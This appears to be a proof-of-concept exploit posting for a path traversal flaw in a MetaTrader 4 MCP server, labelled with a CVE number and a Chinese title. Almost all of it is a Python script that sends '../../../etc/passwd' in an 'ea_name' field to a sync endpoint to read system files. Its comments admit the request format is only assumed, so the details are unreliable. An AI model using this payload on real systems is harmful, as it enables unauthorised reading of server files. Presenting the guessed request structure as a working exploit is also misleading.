CVE-2026-7627 metatrader-4-mcp路径遍历漏洞

import requests # Target URL (Example) target_url = "http://target-ip:port/api/sync_ea_from_file" # Malicious payload attempting to traverse directories # Assuming the tool accepts a JSON payload based on typical MCP/API structures payload = { "ea_name": "../../../etc/passwd" # Path traversal payload } try: response = requests.post(target_url, json=payload) if response.status_code == 200: print("[+] Potential exploitation successful. Response:") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] An error occurred: {e}")